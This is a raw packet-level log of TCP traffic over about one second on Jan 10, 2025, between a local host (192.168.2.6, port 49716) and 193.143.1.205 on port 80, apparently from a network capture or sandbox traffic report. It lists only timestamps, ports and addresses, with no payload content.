Jan 10, 2025 23:15:32.953836918 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.953857899 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.953892946 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.953926086 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.953959942 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.953979015 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.954011917 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.954013109 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.954045057 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.954077959 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.954087019 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.954113960 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.954147100 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.954155922 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.954183102 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.954246044 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.954695940 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.954750061 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.954801083 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.954834938 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.954844952 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.954866886 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.954886913 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.954900980 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.954982042 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.955034018 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.955063105 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.955085039 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.955118895 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.955137014 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.955151081 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.955183983 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.955192089 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.955214977 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.955529928 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.955612898 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.955648899 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.955682039 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.955703020 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.959321022 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.962997913 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:32.980139971 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.980154037 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.980165958 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:32.980272055 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.014806032 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.014873981 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.014909983 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.014944077 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.014996052 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.015000105 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.015000105 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.015029907 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.015064955 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.015130043 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.015165091 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.015172958 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.015172958 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.015197992 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.015230894 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.015331030 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.041546106 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.041639090 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.041693926 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.041729927 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.041758060 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.041758060 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.041769028 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.041829109 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.049196005 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.049226999 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.049261093 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.049314022 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.049346924 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.049359083 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.049359083 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.049400091 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.049432993 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.049468040 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.049474955 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.049503088 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.049727917 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.049768925 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.049768925 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.049782038 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.075529099 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.075541973 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.075555086 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.075624943 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.075634003 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.075637102 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.075634003 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.075656891 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.075685024 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.075829029 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.075861931 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.075872898 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.075901031 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.075901031 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.076045990 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.076056957 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.076178074 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.076189995 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.076189041 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.076201916 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.076255083 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.076312065 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.076334000 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.076345921 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.076380014 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.076380014 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.076535940 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.076548100 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.076558113 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.076570988 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.076617002 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.076617002 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.076752901 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.076795101 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.076807022 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.076852083 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.076895952 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.076906919 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.076939106 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.077112913 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.077172041 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.077184916 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.077220917 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.077220917 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.077311039 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.077322960 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.077333927 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.077378035 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.077398062 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.077409983 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.077420950 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.077451944 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.077451944 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.077835083 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.077847004 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.077922106 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.077934027 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.077953100 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.078003883 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.078046083 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.078057051 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.078094959 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.078134060 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.078144073 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.078155041 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.078166962 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.078177929 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.078197002 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.078223944 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.078320026 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.078387022 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.078819036 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.078831911 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.078844070 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.078969002 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.078980923 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.078991890 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.079030037 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.079030037 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.079196930 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.079380989 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.079401016 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.079411983 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.079423904 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.079435110 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.079447985 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.079477072 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.079477072 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.079514980 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.079742908 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.079761982 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.079773903 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.079819918 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.079915047 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.079926968 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.079932928 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.079945087 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.079986095 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.079986095 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.080025911 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.080038071 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.080063105 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.080121994 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.080135107 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.080146074 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.080169916 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.080205917 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.080749035 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.080760956 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.080773115 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.080847979 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.080859900 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.080871105 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.080883980 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.080893993 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.080893993 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.080941916 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.081007957 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.081017971 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.081028938 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.081041098 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.081053019 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.081070900 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.081070900 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.081129074 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.081636906 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.084502935 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.105818033 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.105886936 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.105886936 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.105923891 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.105957031 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.105993986 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.106014013 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.106045008 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.106059074 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.106079102 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.106131077 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.106139898 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.106165886 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.106200933 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.106225014 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.106235027 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.106272936 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.106326103 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.106409073 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.106462002 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.106483936 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.106496096 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.106554031 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.106563091 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.107795000 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.107795000 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.132582903 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.132642031 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.132678032 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.132699966 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.132710934 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.132746935 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.132766008 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.132781982 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.132797003 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.132821083 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.132878065 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.134241104 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.140310049 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.140326977 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.140340090 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.140367985 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.140379906 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.140388966 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.140439987 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.140444994 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.140456915 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.140466928 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.140518904 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.140518904 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.140628099 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.140691996 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.140705109 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.140717030 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.140738010 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.140777111 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.140882969 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.140971899 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.140985012 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.140995979 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.141017914 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.141243935 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.142349005 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.167156935 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.167191029 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.167205095 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.167217016 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.167229891 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.167243958 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.167249918 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.167257071 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.167280912 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.167304993 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.167342901 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.167381048 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.167381048 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.167414904 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.167449951 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.167484999 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.167491913 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.167593002 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.167618990 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.167660952 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.167725086 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.167763948 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.167820930 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.167855978 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.167891979 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.167905092 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.167984962 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.168054104 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.168108940 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.168143034 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.168164968 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.168232918 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.168267012 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.168312073 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.168314934 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.168349981 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.168368101 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.168613911 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.168648958 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.168684959 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.168720007 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.168720007 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.168737888 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.168773890 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.168807983 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.168807983 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.168842077 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.168893099 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.168893099 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.168926001 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.168960094 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.168970108 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.169404984 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.169456005 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.169460058 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.169492006 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.169526100 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.169532061 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.169563055 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.169598103 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.169656992 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:15:33.169697046 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.169713974 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.169725895 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 23:15:33.169732094 CET	80	49716	193.143.1.205	192.168.2.6
